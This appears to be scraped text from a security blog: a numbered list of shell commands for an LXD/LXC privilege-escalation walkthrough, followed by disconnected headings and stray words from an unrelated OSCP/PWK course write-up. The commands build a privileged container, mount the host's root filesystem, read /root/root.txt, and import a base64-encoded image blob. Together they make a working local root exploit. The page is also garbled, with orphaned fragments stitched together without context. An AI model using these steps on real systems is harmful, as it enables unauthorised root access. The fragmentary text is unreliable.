| 1 |
lxc init ubuntu:16.04 test -c security.privileged=true |
| 2 |
lxc-create m0noc -t busybox |
| 3 |
lxc-ls -f |
| 4 |
cd /var/lib/lxc/m0noc/rootfs |
| 5 |
ls (3) |
| 6 |
cd .. (4) |
| 7 |
tar cfj ~/busyboxOrig.tar.bz2 rootfs |
| 8 |
cd ; mkdir container ; cd container |
| 9 |
tar xfj ../busyboxOrig.tar.bz2 |
| 10 |
echo architecture: x86_64 > metadata.yaml |
| 11 |
echo creation_date: 1424284563 >> metadata.yaml |
| 12 |
cat metadata.yaml |
| 13 |
tar cfj ../m0nocBusybox.tar.bz2 rootfs |
| 14 |
metadata.yaml |
| 15 |
ls -l m0nocBusybox.tar.bz2 |
| 16 |
cp m0nocBusybox.tar.bz2 /home/bob/ |
| 17 |
chown bob /home/bob/m0nocBusybox.tar.bz2 |
| 18 |
id -a |
| 19 |
cat /root/root.txt |
| 20 |
lxc image import m0nocBusybox.tar.bz2 --alias bobImage |
| 21 |
lxc init bobImage bobVM -c security.privileged=true (3) |
| 22 |
lxc config device add bobVM realRoot disk source=/ path=r (3) |
| 23 |
lxc start bobVM (3) |
| 24 |
lxc exec bobVM -- cat /r/root/root.txt |
| 25 |
lxc stop bobVM (2) |
| 26 |
lxc delete bobVM (2) |
| 27 |
lxc image delete bobImage (2) |
| 28 |
find . -ls | fgrep 788059 |
| 29 |
ls -l |
| 30 |
rm init |
| 31 |
ln -s ./../bin/busybox init |
| 32 |
cd ../.. |
| 33 |
tar cfj ../m0nocBusybox2.tar.bz2 rootfs metadata.yaml |
| 34 |
ls -l m0nocBusybox2.tar.bz2 |
| 35 |
cp m0nocBusybox2.tar.bz2 /home/bob/ |
| 36 |
chown bob /home/bob/m0nocBusybox2.tar.bz2 |
| 37 |
lxc image import m0nocBusybox2.tar.bz2 --alias bobImage |
| 38 |
lxc exec bobVM -- /bin/sh (2) |
| 39 |
cat /r/root/root.txt (2) |
| 40 |
/r/usr/bin/file /sbin/init |
| 41 |
ls -l /r/usr/bin/file |
| 42 |
file /usr/bin/file |
| 43 |
ls /lib64/ld-linux-x86-64.so.2 |
| 44 |
ls /r/lib64/ld-linux-x86-64.so.2 |
| 45 |
ls -l /r/lib64/ld-linux-x86-64.so.2 |
| 46 |
ls /r/lib/x86_64-linux-gnu/ld-2.27.so |
| 47 |
/r/lib/x86_64-linux-gnu/ld-2.27.so /r/usr/bin/file /sbin/init |
| 48 |
rm console null ram0 tty tty0 tty1 tty5 urandom zero |
| 49 |
rmdir home mnt selinux |
| 50 |
pwd |
| 51 |
rm -r usr bin lib lib64 |
| 52 |
for a in usr bin lib lib64; do ln -s ./r/$a; done |
| 53 |
tar cfj ../m0nocFinal.tar.bz2 rootfs metadata.yaml |
| 54 |
ls -l m0nocFinal.tar.bz2 |
| 55 |
base64 -w 0 m0nocFinal.tar.bz2 ; echo |
| 56 |
echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2 |
| 57 |
lxc image import bob.tar.bz2 --alias bobImage |
| 58 |
file /sbin/init |
| 59 |
file ./../bin/busybox |
| 60 |
exit |
| 61 |
ESP 0012FF8C |
| 62 |
EBP 0012FF94 |
| 63 |
PWK |
| 64 |
OSCP |
| 65 |
What is the PWK course |
| 66 |
Why did I do it? |
| 67 |
awesome |
| 68 |
What do you get? |
| 69 |
you |
| 70 |
no |
| 71 |
before |
| 72 |
The Exam |
| 73 |
When am I ready for the exam? |
| 74 |
What did I do? |
| 75 |
very carefully |
| 76 |
appears |
| 77 |
Hints and Tips |
| 78 |
Conclusion |
| 79 |
Next Steps |